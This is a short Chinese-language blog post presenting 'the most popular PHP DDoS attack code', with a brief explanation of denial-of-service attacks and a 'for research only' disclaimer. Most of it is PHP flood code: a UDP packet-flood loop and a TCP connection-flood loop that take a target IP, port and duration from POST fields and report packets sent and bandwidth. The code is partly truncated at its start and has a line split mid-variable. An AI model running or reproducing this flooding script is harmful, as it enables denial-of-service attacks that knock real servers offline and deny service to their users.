目前最流行的PHPDDOS攻击代码
先来了解一下什么是DDOS的攻击,DDOS的起源已经很久了,而攻击的方式也有很多种,我们可以简单的理解为攻击者利用合理的请求服务来占用过多的服务资源,从而使合法用户没有办法进行正常服务的访问。
目前这种情况普遍存在于配置较底的服务器上,通过DDOS的攻击造成服务器资源占用过大,从而使服务器无法响应,而随着服务器配置和带宽的增大,已经可以很好地杜绝一般的DDOS的攻击了。
小段php代码实现DDOS攻击,有时候通过这段代码不需要获取服务器权限也可以作为攻击的肉鸡了,所以大家一定要注意网站安全,下面的这段PHP代码仅作研究使用,最后可以返回发包的文件大小。
[code lang="php"]
$max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packe
ts (".round(($packets*65)/1024,2) ." mB) \n";
;echo '
';
ini_set("display_errors","Off");
$packets = 0;
$ipb = $_POST['ipb'];
$portb = $_POST['portb'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['timeb'];
$time = time();
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() >$max_time){
break;
}
$fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0);
}
echo "
\n";
echo "
\n";
echo "-";
echo "
\n";
echo " zgs ".$packets."g";
echo "
\n";
echo "
\n";
echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps";
echo "
\n";
echo "-";
echo "
\n";
?>
[/code]